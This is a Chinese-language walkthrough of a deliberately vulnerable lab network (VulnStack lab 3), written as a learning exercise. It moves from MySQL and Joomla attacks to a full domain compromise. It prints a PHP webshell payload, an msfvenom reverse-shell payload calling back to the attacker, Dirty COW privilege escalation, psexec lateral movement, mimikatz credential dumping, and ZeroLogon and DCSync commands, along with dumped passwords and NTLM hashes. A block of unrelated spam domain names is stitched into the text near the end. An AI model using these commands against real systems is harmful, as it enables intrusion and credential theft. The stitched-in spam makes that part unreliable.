VulnStack-红日靶机三
概述
相交于前边两个靶场环境，靶场三的难度还是稍难一点，有很多兔子洞，这就考验我们对已有信息的取舍和试错，以及对渗透测试优先级的判断。涉及到对数据库操作的试错，对 joomla 框架 cve 的快速学习，php 中 用到disabled_function 的 bypass ，对linux内核提权的取舍，对msf框架模块的熟悉与学习。包括了路由搭建、socks代理使用、smb服务爆破、psexec横向、kiwi（mimikatz）使用等。还使用的crackmapexec这款强大的工具。
和各位师傅们一起学习
环境搭建
靶机地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
下载完成后，发现 5 台主机均为挂起状态，账号以默认登录。我们需要先对机器进行快照
添加一块 192.168.93.0 网段的 VMnet2 仅主机网卡，设置如下：
这里名字只能是 VMnet2。如果你有 VMnet2，那么修改一下啊网段就可以
image-20241001062507443
在 centos 的主机，是双网卡我们启动后要重启网络服务，以后的桥接网卡的 ip 地址
sevice network restart
image-20241001064910277
image-20241001063200228
其他四台主机均为自定义的 host-only 的单网卡机器。
image-20241001063353749
将 kali 主机设置为桥接网卡
image-20241001064727104
完成环境搭建了
我的 kali 机器: 192.168.153.37
centos: 192.168.153.118，192.168.93.100
Ubantu: 192.168.93.120
Win7: 192.168.93.30
Win2012: 192.168.93.10
Win2008: 192.168.93.20
一、nmap 扫描
1）主机发现
sudo nmap -sn 192.168.153.0/24 -o hosts
MAC Address: 1E:C4:A8:26:3A:B4 (Unknown)
Nmap scan report for 192.168.153.118

看到有 ssh 和 mysql，可以先尝试是否存在弱口令
hydra -C /usr/share/wordlists/legion/mysql-betterdefaultpasslist.txt mysql://192.168.153.118
image-20241001081242146
看到了一组 mysql 的弱口令
二、mysql 渗透（失败）
mysql -u root -h 192.168.153.118 -p123
image-20241001081616445
MySQL [(none)]> show variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | |
+--------------------------+-------+
3 rows in set (0.028 sec)
看到 secure_file_priv 为空值，我们在红日靶机一中就见过这种，可以尝试写 webshell 来获得初始立足点
MySQL [(none)]> show variables like '%general%';
+------------------+---------------------------+
| Variable_name | Value |
+------------------+---------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/ubuntu.log |
+------------------+---------------------------+
2 rows in set (0.002 sec)
MySQL [(none)]> set global general_log=ON;
Query OK, 0 rows affected (0.017 sec)
走到这一步，我们遇到了一个问题，就是我们没有 web 目录的绝对路径
在 web 服务中，看看有没有这方面的信息
尝试目录爆破（当然肯定要先翻 web 的 80 默认页）
sudo gobuster dir -u http://192.168.153.118/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hide-length 172
这次爆破没找到想要的信息，我们可以通过指定扩展名，来获得更加广阔和精准的攻击面
sudo gobuster dir -u http://192.168.153.118/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404,502 -x php,
zip,tar,txt
当让我们也可以选择多款不同的爆破工具，他们基于不同的算法，会给我们想不到的收获。
dirsearch.py -u http://192.168.153.118
当然我们在做目录爆破时，要尽量全面。尽量避免由于信息收集没做好，从而导致自己丢失了最简单有效的渗透路径
最终我们找到了 configuration.php~，这个文件中有我们想要的绝对路径。
image-20241001092254615
有这些信息，我们有理由推测，绝对路径就是 /var/www/html。当然这里我们还有意外收获，一组用户的凭证
：testuser:cvcvgjASD!@，用着组凭证我们可以尝试口令复用
1）尝试 into outfile
前提
secure_file_priv 为空值。这表示我们可以用 mysql 向任意位置写入文件
回到 mysql 这里，我们尝试执行
select "<?php system($_GET[cmd]); ?>" into outfile "/var/www/html/update.php"
MySQL [(none)]> select "<?php system($_GET[cmd]); ?>" into outfile "/var/www/html/update.php";
ERROR 1 (HY000): Can't create/write to file '/var/www/html/update.php' (Errcode: 13 - Permission denied)
看到 Permission denied，看来内部应该还是有一些安全策略。这条路行不通了
image-20241001103043888
2）尝试日志写入
我们把日志的输出位置设置为 /var/www/html/lingx5.php
MySQL [(none)]> set global general_log=ON;
Query OK, 0 rows affected (0.001 sec)
MySQL [(none)]> set global general_log_file="/var/www/html/lingx5.php";
ERROR 29 (HY000): File '/var/www/html/lingx5.php' not found (Errcode: 13 - Permission denied)
MySQL [(none)]> show variables like '%general%';
+------------------+--------------------------+
| Variable_name | Value |
+------------------+--------------------------+
| general_log | OFF |
| general_log_file | /var/www/html/lingx5.php |
+------------------+--------------------------+
2 rows in set (0.001 sec)
可以看到，我们开启了日志，但是在修改日志生成路径时，它产生了报错。
再次查看日志的配置，虽然路径被成功修改了，但是它的日志功能也被关闭了
这条路仍然是失败的
三、web 渗透
我们在上面已经做了目录爆破，都点开看看
发现他是一个 joomla 的 cms 框架，他也出现过漏洞，从未授权到 RCE
cve-2023-23752：https://vulncheck.com/blog/joomla-for-rce#cve-2023-23752-to-code-execution-1
有又想要了解的可以阅读一下这篇文章，当然这里我也会带着大家操作。（针对这个靶场）
发现了默认的页面，和后台管理页面 /administrator
image-20241001104901205
image-20241001104922995
我们可以去数据库里翻找一下，看有没有用户凭证
我们去到 joomla 数据库，看到 am2zu_users 表
image-20241001105456468
查看列名，这也是我们在手工利用 sql 注入时的常用命令
select column_name from information_schema.columns where table_name="am2zu_users" and table_schema="joomla";
+---------------+
| column_name |
+---------------+
| id |
| name |
| username |
| email |
| password |
| block |
| sendEmail |
| registerDate |
| lastvisitDate |
| activation |
| params |
| lastResetTime |
| resetCount |
| otpKey |
| otep |
| requireReset |
+---------------+
16 rows in set (0.006 sec)
查询用户名，密码
MySQL [joomla]> select id,name,username,password from am2zu_users;
+-----+------------+---------------+---------------------------------------------------
| id | name | username | password
+-----+------------+---------------+---------------------------------------------------
| 891 | Super User | administrator | $2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2 |
+-----+------------+---------------+---------------------------------------------------
1 row in set (0.001 sec)
凭证：administrator:$2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2
1）破解密码
尝试利用 hashcat 破解
hashcat creds /usr/share/wordlists/rockyou.txt --username -m 3200
hashcat creds /usr/share/wordlists/rockyou.txt --username -m 3200 --show
没成功
2）修改密码
在 joomla 的官方文档中找到了修改密码的操作
文档：https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F
根据它的 Method2，我们重置密码
update am2zu_users set password = "d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199" where username="administrator";
根据官方文档，我们已经把密码凭证修改为了 administrator:secret
3）开始渗透
image-20241001124217150
登陆成功，找到 Templates
image-20241001142341832
加入代码
image-20241003105550459
访问
curl -X POST -d "cmd=phpinfo();" -u "administrator:secret" http://192.168.153.118/templates/beez3/index.php > index.html
xdg-open index.html
看到目标 php 开启了 disable_functions 配置选项，禁用了许多代码执行的函数
image-20241001145852593
三、获得立足点
我们要 bypass disable_functions，绕过方法有很多，这里可以使用蚁剑的插件进行绕过
image-20241003103613894
选择绕过 disable_functions
image-20241003105005537
选择 PHP7_UserFilter 进行绕过
image-20241003105104316
image-20241003110202202
可以正常执行命令了，但是 ip a 命令显示这是一台 192.168.93.120 的机器，这应该是目标机器做了代理导致的
我们在 192.168.93.120 上面翻找比较敏感的文件和文件夹
找到了 /tmp/mysql/test.txt
image-20241003125916798
看到了一组凭据: wwwuser:wwwuser_123Aqx，尝试口令复用，登陆 ssh
sudo ssh wwwuser@192.168.153.118 -o HostKeyAlgorithms=+ssh-rsa
image-20241003130922552
Interface 3
Name : eth1
Hardware MAC : 00:0c:29:32:46:d3
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.93.100
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fe32:46d3
IPv6 Netmask : ffff:ffff:ffff:ffff::
获得了 192.168.153.118 的普通用户权限
至此我们已经那先了两台 linux 机器的普通用户权限，且 192.168.153.118 是双网卡机器，他的另一张网卡为 192.168.93.100
四、linux 提权
因为这是靶机，在提权操作前建议先拍摄一张快照，以免提权操作导致系统崩溃
因为我们要进行内网的进一步渗透，而这两台 linux 机器的权限都比较低，所以要进行提权，以方便后续渗透
通过 sudo 和 suid 的信息查找，没用可利用提权的命令
[wwwuser@localhost /]$ uname -a
Linux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
发现 192.168.153.118 这台机器的内核是 2.6.32，可以在 searchsploit 上搜索历史漏洞
searchsploit kernel | grep 2.6.32
image-20241003133109333
不算多，我们可以依次尝试
1）9844（失败）
image-20241003133910275
python 9844.py
[+] PID:
sh: /proc//fd/1: 没有那个文件或目录
[+] PID:
sh: /proc//fd/1: 没有那个文件或目录
2）10018（失败）
image-20241003141345456
3）25444（失败）
image-20241003141627375
4）24459（失败）
image-20241003141843820
这个得需要有人运行 su - 并输入 root 的正确密码才能完成提权
image-20241003142117080
5）dirtycow（成功）
熟悉脏牛漏洞（CVE-2016-5195）的，应该对 2.6.32 这个版本很敏感，因为这个版本在脏牛漏洞的影响范围内
image-20241003142456538
searchsploit dirty cow -m 40839
image-20241003143911699
已经提权到 root
五、内网渗透
1）上线 msf
msf 框架集成了提权、凭据导出、端口扫描、sockets 代理等多种功能，方便后续的内网渗透操作
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.153.37 lport=4444 -f elf > payload.elf
image-20241003160930792
成功上线到 msf
2）添加内网路由
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > show options
msf6 post(multi/manage/autoroute) > set subnet 192.168.93.0
subnet => 192.168.93.0
msf6 post(multi/manage/autoroute) > set session 1
session => 1
msf6 post(multi/manage/autoroute) > run
[] Running module against localhost.localdomain
[] Searching for subnets to autoroute.
[+] Route added to subnet 192.168.93.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.153.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
3）内网初步探测
use auxiliary/scanner/discovery/udp_probe
msf6 auxiliary(scanner/discovery/udp_probe) > set rhosts 192.168.93.2-254
rhosts => 192.168.93.2-254
msf6 auxiliary(scanner/discovery/udp_probe) > set threads 5
threads => 5
msf6 auxiliary(scanner/discovery/udp_probe) > run
image-20241003170637389
发现了 192.168.93.10，192.168.93.20，192.168.93.30 三台机器
4）socks 代理配置
use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > exploit -j
[*] Auxiliary module running as background job 3.
[*] Starting the SOCKS proxy server
sudo apt install proxychains
修改 /etc/proxychains.conf 文件，修改成 127.0.0.1 1080
5）主机详细端口扫描
192.168.93.10

image-20241003203136660
当然你也可以选择 crackmapexec 或者 msf 的 smb 模块
crackmapexec

[*] Auxiliary module execution completed
爆破到凭据administrator:123qwe!ASD，可以登陆smb服务
6）利用smb横向
use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > set rhost 192.168.93.30
rhost => 192.168.93.30
msf6 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf6 exploit(windows/smb/psexec) > set smbpass 123qwe!ASD
smbpass => 123qwe!ASD
msf6 exploit(windows/smb/psexec) > run
image-20241003212516231
成功利用smb上线到msf，而且是system权限
当然这里尝试口令服用，发现192.168.93.20也是用的同样的密码
msf6 exploit(windows/smb/psexec) > set rhost 192.168.93.20

7）域控横向
判断zerologon漏洞
meterpreter > load kiwi
meterpreter > kiwi_cmd sekurlsa::logonpasswords
meterpreter > kiwi_cmd lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$
image-20241003221609309
攻击
meterpreter > kiwi_cmd lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$ /exploit
image-20241003222154778
攻击成功，转出hash值
kiwi_cmd lsadump::dcsync /domain:test.org /dc:WIN-8GA56TNV3MV.test.org /user:administrator /authuser:WIN-8GA56TNV3MV$ /authdomain:test /authpassword:"" /authntlm
image-20241003222654226
Credentials:
Hash NTLM: 18edd0cc3227be3bf61ce198835a1d97
ntlm-0: 18edd0cc3227be3bf61ce198835a1d97
ntlm-1: c703941f8ce69a643264ac6f87955b2b
nt1m-2: 2bc31ee9ab29514308035203e98a727c
lm0: 9f8f8b3a6b02ebbc48586f9995cc6b69
lm-1: be62fe8aef5763fe44c55c5308ab9597
看到域控administrator用户的ntlmhash是18edd0cc3227be3bf61ce198835a1d97
最后恢复域控服务器的密码,防止域控脱轨
kiwi_cmd lsadump::postzerologon /target:test.org /account:WIN-8GA56TNV3MV$
8）进行PTH攻击（失败）
meterpreter > kiwi_cmd privilege::debug
Privilege '20' OK
meterpreter > kiwi_cmd sekurlsa::pth /user:administrator /domain:test.org /ntlm:18edd0cc3227be3bf61ce198835a1d97
这里失败了
9）从win2008抓取
我们在上边尝试口令复用，发现2008的密码和win7一样都是123qwe!ASD
在2008上的meterpreter执行
meterpreter > load kiwi
meterpreter > creds_all
看到
image-20241004091321064
上边有域控的明文密码
这里我的机器的msf登陆不上域控
[kod.2005528.com）
[kod.313che.com）
[kod.16jiameng.com）
[kod.17maya.com）
[kod.17fadian.com）
[kod.360job.net）
[kod.315010.com）
[kod.51xiezi.com）
10）用crackmapexec验证
proxychains crackmapexec smb 192.168.93.10 -u administrator -p 'zxcASDqw123!!'
image-20241004092435846
image-20241004093127248
看到成功，可以访问域控
总结
通过nmap扫描，我们发现一台centos的web机器对外开放，通过对mysql getshell的试错，同时对web端的joomla框架进行公开漏洞cve-2023-23752的利用以及bypass disable_functions，获得了另一台ubuntu机器的立足点，在ubuntu里查找信息，找到了centos的凭证信息，利用dirtycow（脏牛）漏洞提权到了root。
利用双网卡机器centos，搭建路由代理，横向到内网，爆破smb服务得到win7的密码凭证，同时进行口令复用获得了server2008机器的shell，在2008利用mimikatz抓取密码，最终拿下域控
